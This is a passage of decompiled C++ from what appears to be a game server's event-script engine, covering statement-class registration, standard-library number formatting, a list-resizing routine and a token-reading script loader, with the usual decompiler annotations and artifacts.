= 0; v208 = v1->sl_Point; if ( v208 < 0x80 ) { v1->sl_Array[v208] = v207; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v209 = operator new(0xBCu); if ( v209 ) PineEventScriptNode::ShineReturnValue::ShineReturnValue((PineEventScriptNode::ShineReturnValue *)v209); else v210 = 0; v211 = v1->sl_Point; if ( v211 < 0x80 ) { v1->sl_Array[v211] = v210; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v212 = operator new(0xBCu); if ( v212 ) PineEventScriptNode::ShineSubLayerShift::ShineSubLayerShift((PineEventScriptNode::ShineSubLayerShift *)v212); else v213 = 0; v214 = v1->sl_Point; if ( v214 < 0x80 ) { v1->sl_Array[v214] = v213; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v215 = operator new(0xBCu); if ( v215 ) PineEventScriptNode::ShineTeleport::ShineTeleport((PineEventScriptNode::ShineTeleport *)v215); else v216 = 0; v217 = v1->sl_Point; if ( v217 < 0x80 ) { v1->sl_Array[v217] = v216; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v218 = operator new(0xBCu); if ( v218 ) PineEventScriptNode::ShineItemOwner::ShineItemOwner((PineEventScriptNode::ShineItemOwner *)v218); else v219 = 0; v220 = v1->sl_Point; if ( v220 < 0x80 ) { v1->sl_Array[v220] = v219; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v221 = operator new(0xBCu); if ( v221 ) PineEventScriptNode::ShineMobAttribute::ShineMobAttribute((PineEventScriptNode::ShineMobAttribute *)v221); else v222 = 0; v223 = v1->sl_Point; if ( v223 < 0x80 ) { v1->sl_Array[v223] = v222; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v224 = operator new(0xBCu); if ( v224 ) PineEventScriptNode::ShineObjectCollect::ShineObjectCollect((PineEventScriptNode::ShineObjectCollect *)v224); else v225 = 0; v226 = v1->sl_Point; if ( v226 < 0x80 ) { v1->sl_Array[v226] = v225; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v227 = operator new(0xBCu); if ( v227 ) PineEventScriptNode::ShineEndOfKingdomQuest::ShineEndOfKingdomQuest((PineEventScriptNode::ShineEndOfKingdomQuest *)v227); else v228 = 0; v229 = v1->sl_Point; if ( v229 < 0x80 ) { v1->sl_Array[v229] = v228; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v230 = operator new(0xBCu); if ( v230 ) PineEventScriptNode::ShineEndOfGuildTournament::ShineEndOfGuildTournament((PineEventScriptNode::ShineEndOfGuildTournament *)v230); else v231 = 0; v232 = v1->sl_Point; if ( v232 < 0x80 ) { v1->sl_Array[v232] = v231; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v233 = operator new(0xBCu); if ( v233 ) PineEventScriptNode::ShineGuildTorunamentResult::ShineGuildTorunamentResult((PineEventScriptNode::ShineGuildTorunamentResult *)v233); else v234 = 0; v235 = v1->sl_Point; if ( v235 < 0x80 ) { v1->sl_Array[v235] = v234; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v236 = operator new(0xBCu); if ( v236 ) PineEventScriptNode::ShineCostumeCreate::ShineCostumeCreate((PineEventScriptNode::ShineCostumeCreate *)v236); else v237 = 0; v238 = v1->sl_Point; if ( v238 < 0x80 ) { v1->sl_Array[v238] = v237; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v239 = operator new(0xBCu); if ( v239 ) PineEventScriptNode::ShineCostumeTakeOff::ShineCostumeTakeOff((PineEventScriptNode::ShineCostumeTakeOff *)v239); else v240 = 0; v241 = v1->sl_Point; if ( v241 < 0x80 ) { v1->sl_Array[v241] = v240; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v242 = operator new(0xBCu); if ( v242 ) PineEventScriptNode::ShineWeddingComplete::ShineWeddingComplete((PineEventScriptNode::ShineWeddingComplete *)v242); else v243 = 0; PineEventScriptNode::StatementList::sl_AddStatement(v1, v243); v244 = operator new(0xBCu); if ( v244 ) PineEventScriptNode::ShinePlayerWalk::ShinePlayerWalk((PineEventScriptNode::ShinePlayerWalk *)v244); else v245 = 0; PineEventScriptNode::StatementList::sl_AddStatement(v1, v245); v246 = operator new(0xBCu); if ( v246 ) PineEventScriptNode::ShineFindPlayer::ShineFindPlayer((PineEventScriptNode::ShineFindPlayer *)v246); else v247 = 0; PineEventScriptNode::StatementList::sl_AddStatement(v1, v247); v248 = operator new(0xBCu); if ( v248 ) PineEventScriptNode::ShineTeleportAll::ShineTeleportAll((PineEventScriptNode::ShineTeleportAll *)v248); else v249 = 0; PineEventScriptNode::StatementList::sl_AddStatement(v1, v249); v250 = operator new(0xBCu); if ( v250 ) PineEventScriptNode::ShineBriefEffect::ShineBriefEffect((PineEventScriptNode::ShineBriefEffect *)v250); else v251 = 0; PineEventScriptNode::StatementList::sl_AddStatement(v1, v251); v252 = operator new(0xBCu); if ( v252 ) PineEventScriptNode::ShineBanFromArea::ShineBanFromArea((PineEventScriptNode::ShineBanFromArea *)v252); else v253 = 0; PineEventScriptNode::StatementList::sl_AddStatement(v1, v253); v254 = operator new(0xBCu); if ( v254 ) PineEventScriptNode::ShineRegesteFlag::ShineRegesteFlag((PineEventScriptNode::ShineRegesteFlag *)v254); else v255 = 0; PineEventScriptNode::StatementList::sl_AddStatement(v1, v255); v256 = operator new(0xBCu); if ( v256 ) PineEventScriptNode::ShineRegesteGate::ShineRegesteGate((PineEventScriptNode::ShineRegesteGate *)v256); else v257 = 0; PineEventScriptNode::StatementList::sl_AddStatement(v1, v257); v258 = operator new(0xBCu); if ( v258 ) PineEventScriptNode::ShineDiceGameStart::ShineDiceGameStart((PineEventScriptNode::ShineDiceGameStart *)v258); else v259 = 0; PineEventScriptNode::StatementList::sl_AddStatement(v1, v259); v260 = operator new(0xBCu); if ( v260 ) PineEventScriptNode::ShineRevival::ShineRevival((PineEventScriptNode::ShineRevival *)v260); else v261 = 0; PineEventScriptNode::StatementList::sl_AddStatement(v1, v261); v262 = operator new(0xBCu); if ( v262 ) PineEventScriptNode::ShineSpawn::ShineSpawn((PineEventScriptNode::ShineSpawn *)v262); else v263 = 0; PineEventScriptNode::StatementList::sl_AddStatement(v1, v263); v264 = operator new(0xBCu); if ( v264 ) PineEventScriptNode::ShineHPSet::ShineHPSet((PineEventScriptNode::ShineHPSet *)v264); else v265 = 0; PineEventScriptNode::StatementList::sl_AddStatement(v1, v265); v266 = operator new(0xBCu); if ( v266 ) PineEventScriptNode::ShineEndOfMID::ShineEndOfMID((PineEventScriptNode::ShineEndOfMID *)v266); else v267 = 0; PineEventScriptNode::StatementList::sl_AddStatement(v1, v267); v268 = operator new(0xBCu); if ( v268 ) PineEventScriptNode::ShineInvidualMidReward::ShineInvidualMidReward((PineEventScriptNode::ShineInvidualMidReward *)v268); else v269 = 0; PineEventScriptNode::StatementList::sl_AddStatement(v1, v269); v270 = operator new(0xBCu); if ( v270 ) PineEventScriptNode::ShineMIDClearCount::ShineMIDClearCount((PineEventScriptNode::ShineMIDClearCount *)v270); else v271 = 0; PineEventScriptNode::StatementList::sl_AddStatement(v1, v271); } // 650BC4: using guessed type int (__stdcall *PineEventScriptNode__CalculateOperator___vftable_)(int tr); // 650C84: using guessed type int (__stdcall *PineEventScriptNode__Identify___vftable_)(int tr); // 650CA4: using guessed type int (__stdcall *PineEventScriptNode__Term___vftable_)(int tr); // 650CD4: using guessed type int (__stdcall *PineEventScriptNode__StateBreak___vftable_)(int tr); // 650E08: using guessed type int (__stdcall *PineEventScriptNode__Express___vftable_)(int tr); // 650E28: using guessed type int (__stdcall *PineEventScriptNode__StateIf___vftable_)(int tr); // 650E3C: using guessed type int (__stdcall *PineEventScriptNode__StateCall___vftable_)(int tr); // 650F28: using guessed type int (__stdcall *PineEventScriptNode__StatePrint___vftable_)(int tr); // 650FF0: using guessed type int (__stdcall *PineEventScriptNode__StatePermillage___vftable_)(int tr); // 651004: using guessed type int (__stdcall *PineEventScriptNode__StateAssignment___vftable_)(int tr); //----- (004C40E0) -------------------------------------------------------- void *__thiscall PineEventScriptNode::ScriptParameterPaser::_vector_deleting_destructor_(PineEventScriptNode::ScriptParameterPaser *this, unsigned int a2) { void *v2; // esi@1 v2 = this; PineEventScriptNode::ScriptParameterPaser::_ScriptParameterPaser(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (004C4100) -------------------------------------------------------- void __thiscall std::basic_iostream>::basic_iostream>(std::basic_iostream > *this, std::basic_streambuf > *_Strbuf) { std::basic_iostream > *v2; // edi@1 char *v3; // esi@3 int v4; // [sp+28h] [bp+8h]@0 v2 = this; if ( v4 ) { *(_DWORD *)&this->___u0.baseclass_0.gap0[0] = &std::basic_iostream>::_vbtable_; *(_DWORD *)&this->___u0.baseclass_0.gap8[0] = &std::basic_iostream>::_vbtable_; *(_DWORD *)&this->___u0.baseclass_0.gap8[4] = &std::basic_ios>::_vftable_; } *(_DWORD *)&this->___u0.baseclass_0.gap0[*(_DWORD *)(*(_DWORD *)&this->___u0.baseclass_0.gap0[0] + 4)] = std::basic_istream>::_vftable_; this->___u0.baseclass_0._Chcount = 0; *(_DWORD *)&this->___u0.baseclass_0.gap8[*(_DWORD *)(*(_DWORD *)&this->___u0.baseclass_0.gap8[0] + 4)] = &std::basic_ostream>::_vftable_; v3 = &this->___u0.baseclass_0.gap8[*(_DWORD *)(*(_DWORD *)&this->___u0.baseclass_0.gap8[0] + 4)]; std::ios_base::_Init((std::ios_base *)&this->___u0.baseclass_0.gap8[*(_DWORD *)(*(_DWORD *)&this->___u0.baseclass_0.gap8[0] + 4)]); *((_DWORD *)v3 + 10) = _Strbuf; *((_DWORD *)v3 + 11) = 0; v3[48] = std::basic_ios>::widen((std::basic_ios > *)v3, 32); if ( !*((_DWORD *)v3 + 10) ) std::ios_base::clear((std::ios_base *)v3, *((_DWORD *)v3 + 2) | 4, 0); *((_DWORD *)v3 + 1) = 0; *(_DWORD *)&v2->___u0.baseclass_0.gap0[*(_DWORD *)(*(_DWORD *)&v2->___u0.baseclass_0.gap0[0] + 4)] = &std::basic_iostream>::_vftable_; } // 4C4100: inconsistent function type and number of purged bytes // 650D88: using guessed type int (__stdcall *std__basic_ostream_char_std__char_traits_char_____vftable_)(char); // 650D8C: using guessed type int (__thiscall *std__basic_ios_char_std__char_traits_char_____vftable_)(void *p, char); // 650D90: using guessed type int (__stdcall *std__basic_istream_char_std__char_traits_char_____vftable_[2])(char); // 650D94: using guessed type int (__stdcall *std__basic_iostream_char_std__char_traits_char_____vftable_)(char); //----- (004C41E0) -------------------------------------------------------- std::ostreambuf_iterator > *__thiscall std::num_put>>::do_put(std::num_put > > *this, std::ostreambuf_iterator > *result, std::ostreambuf_iterator > _Dest, std::ios_base *_Iosbase, char _Fill, bool _Val) { int v6; // edx@1 std::ostreambuf_iterator > *v7; // esi@1 std::locale *v8; // eax@3 std::numpunct *v9; // eax@3 int v10; // esi@3 std::numpunct *v11; // edi@3 unsigned int v12; // eax@4 int v13; // esi@7 std::basic_string,std::allocator > *v14; // eax@10 std::basic_string,std::allocator > *v15; // eax@12 std::ios_base *v16; // ebx@15 unsigned int v17; // eax@15 unsigned int v18; // edx@15 int v19; // esi@17 int v20; // ecx@19 std::basic_streambuf > *v21; // eax@19 void *v22; // edi@24 unsigned int v23; // ebx@27 unsigned int v24; // ST14_4@30 std::ostreambuf_iterator > v25; // ST08_8@30 std::ostreambuf_iterator > *v26; // ST04_4@30 std::num_put > > *v27; // ST00_4@30 void *v29; // [sp-4h] [bp-7Ch]@11 std::_Lockit thisa; // [sp+Ch] [bp-6Ch]@4 std::basic_streambuf > *v31; // [sp+10h] [bp-68h]@20 std::ios_base *v32; // [sp+14h] [bp-64h]@1 unsigned __int64 v33; // [sp+18h] [bp-60h]@26 std::ostreambuf_iterator > *v34; // [sp+20h] [bp-58h]@1 int v35; // [sp+24h] [bp-54h]@3 std::num_put > > *v36; // [sp+28h] [bp-50h]@1 char v37; // [sp+2Ch] [bp-4Ch]@10 void *p; // [sp+30h] [bp-48h]@11 unsigned int v39; // [sp+44h] [bp-34h]@10 char _Str; // [sp+48h] [bp-30h]@10 void *v41; // [sp+4Ch] [bp-2Ch]@9 unsigned int v42; // [sp+5Ch] [bp-1Ch]@9 unsigned int v43; // [sp+60h] [bp-18h]@9 unsigned int v44; // [sp+64h] [bp-14h]@1 int v45; // [sp+74h] [bp-4h]@3 int v46; // [sp+78h] [bp+0h]@1 v44 = (unsigned int)&v46 ^ __security_cookie; v6 = _Iosbase->_Fmtfl; v7 = result; v36 = this; v34 = result; v32 = _Iosbase; if ( !(BYTE1(v6) & 0x40) ) { ((void (__stdcall *)(std::ostreambuf_iterator > *, _DWORD, std::basic_streambuf > *, std::ios_base *, _DWORD, _DWORD))this->baseclass_0.vfptr[7].__vecDelDtor)( result, *(_DWORD *)&_Dest, _Dest._Strbuf, _Iosbase, _Fill, _Val); return v7; } v8 = std::ios_base::getloc(_Iosbase, (std::locale *)&v35); v45 = 0; v9 = std::use_facet>(v8); v10 = v35; v11 = v9; v45 = -1; if ( v35 ) { std::_Lockit::_Lockit(&thisa, 0); v12 = *(_DWORD *)(v10 + 4); if ( v12 && v12 < 0xFFFFFFFF ) *(_DWORD *)(v10 + 4) = v12 - 1; v13 = ((*(_DWORD *)(v10 + 4) != 0) - 1) & v10; std::_Lockit::__Lockit(&thisa); if ( v13 ) (**(void (__thiscall ***)(_DWORD, _DWORD))v13)(v13, 1); } v43 = 15; v42 = 0; LOBYTE(v41) = 0; v45 = 1; if ( _Val ) { v14 = std::numpunct::truename( v11, (std::basic_string,std::allocator > *)&v37); LOBYTE(v45) = 2; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)&_Str, v14, 0, 0xFFFFFFFFu); LOBYTE(v45) = 1; if ( v39 < 0x10 ) goto LABEL_15; v29 = p; } else { v15 = std::numpunct::falsename( v11, (std::basic_string,std::allocator > *)&v37); LOBYTE(v45) = 3; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)&_Str, v15, 0, 0xFFFFFFFFu); LOBYTE(v45) = 1; if ( v39 < 0x10 ) goto LABEL_15; v29 = p; } operator delete(v29); LABEL_15: v16 = v32; v17 = v32->_Wide; v18 = v42; if ( (signed int)v17 <= 0 || v17 <= v42 ) v19 = 0; else v19 = v17 - v42; v20 = *(_DWORD *)&_Dest; v21 = _Dest._Strbuf; if ( (v32->_Fmtfl & 0x1C0) != 64 ) { thisa._Locktype = *(_DWORD *)&_Dest; v31 = _Dest._Strbuf; if ( v19 ) { do { std::ostreambuf_iterator>::operator_( (std::ostreambuf_iterator > *)&thisa, _Fill); --v19; } while ( v19 ); v18 = v42; } v20 = thisa._Locktype; v21 = v31; v19 = 0; } v22 = v41; if ( v43 < 0x10 ) v22 = &v41; v33 = __PAIR__((unsigned int)v21, v20); if ( v18 ) { v23 = v18; do { std::ostreambuf_iterator>::operator_( (std::ostreambuf_iterator > *)&v33, *(_BYTE *)v22); v22 = (char *)v22 + 1; --v23; } while ( v23 ); v16 = v32; } v24 = v19; v7 = v34; v25 = (std::ostreambuf_iterator >)v33; v26 = v34; v27 = v36; v16->_Wide = 0; std::num_put>>::_Rep(v27, v26, v25, _Fill, v24); if ( v43 >= 0x10 ) operator delete(v41); return v7; } //----- (004C4440) -------------------------------------------------------- std::ostreambuf_iterator > *__thiscall std::ostreambuf_iterator>::operator_(std::ostreambuf_iterator > *this, char _Right) { std::ostreambuf_iterator > *v2; // esi@1 std::basic_streambuf > *v3; // ecx@1 char **v4; // eax@2 char **v5; // ecx@4 char *v6; // eax@4 int v7; // eax@4 v2 = this; v3 = this->_Strbuf; if ( !v3 || ((v4 = v3->_IPnext, !*v4) || *v4 >= &(*v4)[*v3->_IPcount] ? (v7 = ((int (__stdcall *)(_DWORD))v3->vfptr->overflow)((unsigned __int8)_Right)) : (--*v3->_IPcount, v5 = v3->_IPnext, v6 = *v5, ++*v5, *v6 = _Right, v7 = (unsigned __int8)_Right), v7 == -1) ) v2->___u0.baseclass_0.baseclass_0.dummy[0] = 1; return v2; } //----- (004C44A0) -------------------------------------------------------- std::ostreambuf_iterator > *__cdecl std::num_put>>::_Rep(std::num_put > > *this, std::ostreambuf_iterator > *result, std::ostreambuf_iterator > _Dest, char _Ch, unsigned int _Count) { unsigned int v5; // edi@2 char **v6; // eax@4 int *v7; // edx@5 char **v8; // eax@6 char *v9; // ecx@6 int v10; // eax@6 std::ostreambuf_iterator > *v11; // eax@11 if ( _Count ) { v5 = _Count; do { if ( !_Dest._Strbuf || ((v6 = _Dest._Strbuf->_IPnext, !*v6) || (v7 = _Dest._Strbuf->_IPcount, *v6 >= &(*v6)[*v7]) ? (v10 = _Dest._Strbuf->vfptr->overflow(_Dest._Strbuf, (unsigned __int8)_Ch)) : (--*v7, v8 = _Dest._Strbuf->_IPnext, v9 = *v8, ++*v8, *v9 = _Ch, v10 = (unsigned __int8)_Ch), v10 == -1) ) _Dest.___u0.baseclass_0.baseclass_0.dummy[0] = 1; --v5; } while ( v5 ); } v11 = result; result->_Strbuf = _Dest._Strbuf; *(_DWORD *)&result->___u0.baseclass_0.baseclass_0.dummy[0] = *(_DWORD *)&_Dest; return v11; } //----- (004C4510) -------------------------------------------------------- std::basic_string,std::allocator > *__thiscall std::numpunct::falsename(std::numpunct *this, std::basic_string,std::allocator > *result) { ((void (__stdcall *)(_DWORD))this->baseclass_0.vfptr[4].__vecDelDtor)(result); return result; } //----- (004C4530) -------------------------------------------------------- std::basic_string,std::allocator > *__thiscall std::numpunct::truename(std::numpunct *this, std::basic_string,std::allocator > *result) { ((void (__stdcall *)(_DWORD))this->baseclass_0.vfptr[5].__vecDelDtor)(result); return result; } //----- (004C4550) -------------------------------------------------------- std::numpunct *__cdecl std::use_facet>(std::locale *_Loc) { void *v1; // esi@5 int v2; // edi@10 unsigned int v3; // eax@10 int _Psave; // [sp+0h] [bp-24h]@1 std::_Lockit this; // [sp+4h] [bp-20h]@2 std::_Lockit _Lock; // [sp+8h] [bp-1Ch]@1 char pExceptionObject; // [sp+Ch] [bp-18h]@8 int v9; // [sp+20h] [bp-4h]@1 std::_Lockit::_Lockit(&_Lock, 0); _Psave = std::_Facetptr>::_Psave; v9 = 0; if ( !std::numpunct::id ) { std::_Lockit::_Lockit(&this, 0); if ( !std::numpunct::id ) { ++std::locale::id::_Id_cnt; std::numpunct::id = std::locale::id::_Id_cnt; } std::_Lockit::__Lockit(&this); } v1 = std::locale::_Getfacet(_Loc, std::numpunct::id); if ( !v1 ) { v1 = (void *)_Psave; if ( !_Psave ) { if ( std::numpunct::_Getcat((std::locale::facet **)&_Psave) == -1 ) { bad_cast::bad_cast((bad_cast *)&pExceptionObject, "bad cast"); _CxxThrowException(&pExceptionObject, &_TI2_AVbad_cast__); } v1 = (void *)_Psave; std::_Facetptr>::_Psave = _Psave; v2 = _Psave; std::_Lockit::_Lockit(&this, 0); v3 = *(_DWORD *)(v2 + 4); if ( v3 < 0xFFFFFFFF ) *(_DWORD *)(v2 + 4) = v3 + 1; std::_Lockit::__Lockit(&this); std::locale::facet::_Register((std::locale::facet *)v2); } } v9 = -1; std::_Lockit::__Lockit(&_Lock); return (std::numpunct *)v1; } // 12F8B4C8: using guessed type int std___Facetptr_std__numpunct_char_____Psave; // 1535F460: using guessed type int std__locale__id___Id_cnt; //----- (004C4660) -------------------------------------------------------- unsigned int __cdecl std::numpunct::_Getcat(std::locale::facet **_Ppf) { void *v1; // eax@3 std::numpunct *v2; // esi@3 std::_Locinfo *v3; // eax@4 std::_Locinfo this; // [sp+8h] [bp-80h]@4 int v6; // [sp+84h] [bp-4h]@3 if ( _Ppf && !*_Ppf ) { v1 = operator new(0x18u); v2 = (std::numpunct *)v1; v6 = 0; if ( v1 ) { *((_DWORD *)v1 + 1) = 0; LOBYTE(v6) = 1; *(_DWORD *)v1 = &std::numpunct::_vftable_; std::_Locinfo::_Locinfo(&this, "C"); LOBYTE(v6) = 2; std::numpunct::_Init(v2, v3); LOBYTE(v6) = 1; std::_Locinfo::__Locinfo(&this); } else { v2 = 0; } *_Ppf = (std::locale::facet *)v2; } return 4; } // 651250: using guessed type int (__thiscall *std__numpunct_char____vftable_)(void *p, char); //----- (004C4710) -------------------------------------------------------- char __thiscall std::numpunct::do_decimal_point(std::numpunct *this) { return this->_Dp; } //----- (004C4720) -------------------------------------------------------- char __thiscall std::numpunct::do_thousands_sep(std::numpunct *this) { return this->_Kseparator; } //----- (004C4730) -------------------------------------------------------- void *__thiscall std::numpunct::_scalar_deleting_destructor_(std::numpunct *this, unsigned int a2) { void *v2; // esi@1 v2 = this; std::numpunct::_numpunct(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (004C4750) -------------------------------------------------------- void __thiscall std::numpunct::_numpunct(std::numpunct *this) { std::numpunct *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (std::locale::facetVtbl *)&std::numpunct::_vftable_; std::numpunct::_Tidy(this); v1->baseclass_0.vfptr = (std::locale::facetVtbl *)&std::locale::facet::_vftable_; } // 651250: using guessed type int (__thiscall *std__numpunct_char____vftable_)(void *p, char); // 689C6C: using guessed type int (__thiscall *std__locale__facet___vftable_)(void *p, char); //----- (004C47A0) -------------------------------------------------------- void __thiscall std::numpunct::_Tidy(std::numpunct *this) { std::numpunct *v1; // esi@1 v1 = this; operator delete__((void *)this->_Grouping); operator delete__((void *)v1->_Falsename); operator delete__((void *)v1->_Truename); } //----- (004C47D0) -------------------------------------------------------- void __thiscall std::numpunct::_Init(std::numpunct *this, std::_Locinfo *_Lobj) { std::numpunct *v2; // esi@1 lconv *v3; // edi@1 _Cvtvec v4; // qax@1 const char *v5; // ecx@1 int v6; // [sp+0h] [bp-30h]@1 _Cvtvec v7; // [sp+Ch] [bp-24h]@1 _Cvtvec __formal; // [sp+14h] [bp-1Ch]@1 std::numpunct *v9; // [sp+1Ch] [bp-14h]@1 int *v10; // [sp+20h] [bp-10h]@1 int v11; // [sp+2Ch] [bp-4h]@1 v2 = this; v10 = &v6; v9 = this; v3 = localeconv(); v2->_Grouping = 0; v2->_Falsename = 0; v2->_Truename = 0; v11 = 0; v4 = _Getcvt(); v5 = v3->grouping; __formal = v4; v2->_Grouping = std::_Maklocstr(v5, 0, &__formal); __formal = _Getcvt(); v2->_Falsename = std::_Maklocstr("false", 0, &__formal); v7 = _Getcvt(); v2->_Truename = std::_Maklocstr("true", 0, &v7); _Getcvt(); v2->_Dp = *v3->decimal_point; _Getcvt(); v2->_Kseparator = *v3->thousands_sep; } //----- (004C4896) -------------------------------------------------------- void __usercall _L183332(int a1) { std::numpunct::_Tidy(*(std::numpunct **)(a1 - 20)); _CxxThrowException(0, 0); } //----- (004C48B0) -------------------------------------------------------- char *__cdecl std::_Maklocstr(const char *_Ptr, char *__formal, _Cvtvec *a3) { const char *v3; // edi@1 unsigned int v4; // kr00_4@1 int v5; // esi@1 char *result; // eax@1 char *v7; // ecx@1 v3 = _Ptr; v4 = strlen(_Ptr); v5 = v4 + 1; result = (char *)operator new__(v4 + 1); v7 = result; if ( v4 != -1 ) { do { *v7++ = *v3++; --v5; } while ( v5 ); } return result; } //----- (004C48F0) -------------------------------------------------------- void __thiscall ListArray::ListArray(ListArray *this, int size) { int v2; // ebx@1 ListArray *v3; // edi@1 void *v4; // eax@3 v2 = 0; v3 = this; if ( size > 0 ) { this->la_Size = size; v4 = operator new__(280 * size + 4); if ( v4 ) { v2 = (int)((char *)v4 + 4); *(_DWORD *)v4 = size; _eh_vector_constructor_iterator_( (char *)v4 + 4, 0x118u, size, (void (__thiscall *)(void *))PineEventScriptNode::Block::Block, (void (__thiscall *)(void *))PineEventScriptNode::Block::_Block); } } else { this->la_Size = 65535; } v3->la_Array = (PineEventScriptNode::Block *)v2; } //----- (004C4980) -------------------------------------------------------- char __thiscall List::l_Enlargement(List *this, int extsize) { List *v2; // ebp@1 ListArray *v4; // eax@3 int v5; // edi@3 int v6; // ebx@5 void *v7; // eax@5 void *v8; // esi@6 void *v9; // eax@9 int v10; // esi@13 void *v11; // ecx@17 void *v12; // edx@17 int v13; // esi@17 int v14; // ecx@19 int v15; // edx@20 int v16; // eax@22 int v17; // edx@22 void *v18; // ST10_4@22 void **v19; // eax@22 void *v20; // eax@22 void *v21; // esi@23 ListArray *v22; // edx@24 void *newarray; // [sp+4h] [bp-14h]@9 void *extsizea; // [sp+1Ch] [bp+4h]@6 v2 = this; if ( this->l_Finger.empty != -1 ) return 0; v4 = this->l_ListArray; v5 = 0; if ( !v4 ) return 0; v6 = extsize + v4->la_Size; v7 = operator new__(280 * (extsize + v4->la_Size) + 4); if ( v7 ) { v8 = (char *)v7 + 4; *(_DWORD *)v7 = v6; _eh_vector_constructor_iterator_( (char *)v7 + 4, 0x118u, v6, (void (__thiscall *)(void *))PineEventScriptNode::Block::Block, (void (__thiscall *)(void *))PineEventScriptNode::Block::_Block); extsizea = v8; } else { extsizea = 0; v8 = 0; } if ( !v8 ) return 0; v9 = operator new__(12 * v6 + 12); newarray = v9; if ( !v9 ) { _eh_vector_destructor_iterator_( v8, 0x118u, *((_DWORD *)v8 - 1), (void (__thiscall *)(void *))PineEventScriptNode::Block::_Block); operator delete__((char *)v8 - 4); return 0; } if ( v2->l_ListArray->la_Size > 0 ) { v10 = 0; do { PineEventScriptNode::Block::l_Clone( (PineEventScriptNode::Block *)((char *)extsizea + v10 * 280), &v2->l_ListArray->la_Array[v10]); ++v5; ++v10; } while ( v5 < v2->l_ListArray->la_Size ); v9 = newarray; } memcpy(v9, v2->l_Array, 12 * v2->l_ListArray->la_Size); *((_WORD *)v9 + 6 * v2->l_Array[v2->l_Finger.store].ls_Next + 3) = v6; *((_WORD *)v9 + 6 * v2->l_Array[v2->l_Finger.store].ls_Prev + 2) = v6; if ( v6 > 0 ) { v11 = extsizea; v12 = v9; v13 = v6; do { *(_DWORD *)v12 = v11; v11 = (char *)v11 + 280; v12 = (char *)v12 + 12; --v13; } while ( v13 ); } v14 = v2->l_MaxSize; if ( v14 < v6 ) { v15 = (int)((char *)v9 + 12 * v14 + 4); do { *(_WORD *)v15 = v14 + 1; *(_BYTE *)(v15 + 4) = 0; *(_WORD *)(v15 + 2) = v14++ - 1; v15 += 12; } while ( v14 < v6 ); } *((_WORD *)v9 + 6 * v2->l_MaxSize + 3) = v6 - 1; v16 = (int)((char *)v9 + 12 * v6); *(_WORD *)(v16 - 8) = v2->l_MaxSize; v17 = (int)&v2->l_Array[v2->l_MaxSize]; *(_DWORD *)v16 = *(_DWORD *)v17; *(_DWORD *)(v16 + 4) = *(_DWORD *)(v17 + 4); *(_DWORD *)(v16 + 8) = *(_DWORD *)(v17 + 8); v18 = v2->l_Array; v2->l_Finger.empty = v2->l_MaxSize; operator delete__(v18); v19 = (void **)v2->l_ListArray; v2->l_Array = (ListStruct *)newarray; v20 = *v19; if ( v20 ) { v21 = (char *)v20 - 4; _eh_vector_destructor_iterator_( v20, 0x118u, *((_DWORD *)v20 - 1), (void (__thiscall *)(void *))PineEventScriptNode::Block::_Block); operator delete__(v21); } v2->l_ListArray->la_Array = (PineEventScriptNode::Block *)extsizea; v22 = v2->l_ListArray; v2->l_MaxSize = v6; v22->la_Size = (unsigned __int16)v6; v2->l_Finger.store = LOWORD(v2->l_ListArray->la_Size); return 1; } //----- (004C4C10) -------------------------------------------------------- void __thiscall PineEventScriptNode::Script::Script(PineEventScriptNode::Script *this) { this->baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::Script::_vftable_; operator new(8u); JUMPOUT(sub_4C4C44); } // 651278: using guessed type int (__stdcall *PineEventScriptNode__Script___vftable_)(int tr); //----- (004C4C44) -------------------------------------------------------- #error "FFFFFFFF: positive sp value has been found (funcsize=0)" //----- (004C4D70) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::Script::sa_Load(PineEventScriptNode::Script *this, PineScriptReader::TokenReader *tr) { PineEventScriptNode::Script *v2; // ebp@1 int v3; // edi@3 PineScriptToken *v4; // esi@3 signed int v5; // ecx@3 bool v6; // zf@3 List *v7; // ecx@7 int v8; // eax@7 int v9; // eax@8 List *v10; // ecx@9 int v11; // eax@9 PineScriptToken tkn; // [sp+10h] [bp-104h]@1 unsigned int v14; // [sp+110h] [bp-4h]@1 v14 = (unsigned int)&tkn ^ __security_cookie; v2 = this; while ( 1 ) { tkn.pst_Buffer[0] = 0; if ( !PineScriptReader::TokenReader::tr_GetToken(tr, &tkn) ) break; v3 = (int)"open"; v4 = &tkn; v5 = 5; v6 = 1; do { if ( !v5 ) break; v6 = v4->pst_Buffer[0] == *(_BYTE *)v3; v4 = (PineScriptToken *)((char *)v4 + 1); ++v3; --v5; } while ( v6 ); if ( !v6 || ((memcpy(&tr->tr_UngetToken, &tkn, sizeof(tr->tr_UngetToken)), v7 = v2->s_BlockList, v8 = v7->l_Finger.empty, (_WORD)v8 == -1) || (v9 = ((int (__stdcall *)(int))v7->vfptr->l_AllocZ)(v8)) == 0) && ((List::l_Enlargement(v2->s_BlockList, 4), v10 = v2->s_BlockList, v11 = v10->l_Finger.empty, (_WORD)v11 == -1) || (v9 = ((int (__stdcall *)(int))v10->vfptr->l_AllocZ)(v11)) == 0) || !(unsigned __int16)(**(int (__thiscall ***)(int, PineScriptReader::TokenReader *))v9)(v9, tr) ) return 0; } return 1; } //----- (004C4E40) 